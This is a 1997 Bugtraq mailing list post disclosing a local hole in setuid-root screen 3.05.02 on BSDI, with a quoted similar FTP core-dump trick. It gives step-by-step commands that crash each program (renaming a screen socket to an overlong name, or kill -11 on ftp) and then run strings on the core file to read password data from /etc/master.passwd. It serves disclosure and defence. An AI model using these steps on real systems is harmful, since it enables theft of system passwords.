mailing list archives
Re: screen 3.05.02
From: owner-bugtraq () NETSPACE ORG (Khelbin Sunvold)
Date: Sat, 15 Feb 1997 21:18:56 -0800
This exploit is very similer to the FTP exploit on BSD that creates a
ftp.core file you can then strings and get the encrypted password file.
Welcom to foobar.com ftp site
blah blah blah
please enter login name> evil
that user requires a password> evil2
User evil loged in welcome to foobar.com!
Remote set to type BIN
(now hit ^Z to suspend the process)
PID TT STAT TIME COMMAND
9526 p0 Ss 0:00.12 -csh (csh)
9539 p0 R+ 0:00.02 ps
1000 p0 Ss 0:00.22 ftp
(get the PID number to the ftp process)
#kill -11 1000
(kill the process)
(bring the ftp back to the foreground)
Process Killed Core Dump (blah blah)
home mail public_html ftp.core
#strings ftp.core > test
I know this is an older hole, but what the hell, it still works on BDS!
bbuster () succeed net
THe program under question is /usr/contrib/bin/screen (BSDI). This is
screen version 3.05.02 and is installed setuid root, as it is "supposed"
to be. Here is a demonstration:
Screen version 3.05.02 (FAU) 19-Aug-93
Copyright (c) 1993 Juergen Weigert, Michael Schroeder
Copyright (c) 1987 Oliver Laumann
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
this program (see the file COPYING); if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
Send bugreports, fixes, enhancements, t-shirts, money, beer & pizza to
screen () uni-erlangen de (bah.. send them to Bugtraq!)
[Press Space or Return to end.]
$ cd /tmp/screens/S-khelbin
$ mv 246.ttyp* 246.ttyp7.cometanonymousanonymousanonymousanonymous\
$ screen -ls
connect: Invalid argument
%1 278 Abort - core dumped screen -ls
$ ls -l
srwx------ 1 khelbin khelbin 0 Feb 15 21:33
-rw-r--r-- 1 khelbin khelbin 172032 Feb 15 21:33 core.screen
$ strings core.screen|less
The core.screen file contains unencrypted password strings from
/etc/master.passwd, which of course, should not be readable by me. I'm
also sure there's a buffer-overflow here but I havn't had as much time as
I would like to to look through the source yet.
-khelbin / 9x
email: khelbin () connix com
- Re: screen 3.05.02 Khelbin Sunvold (Feb 16)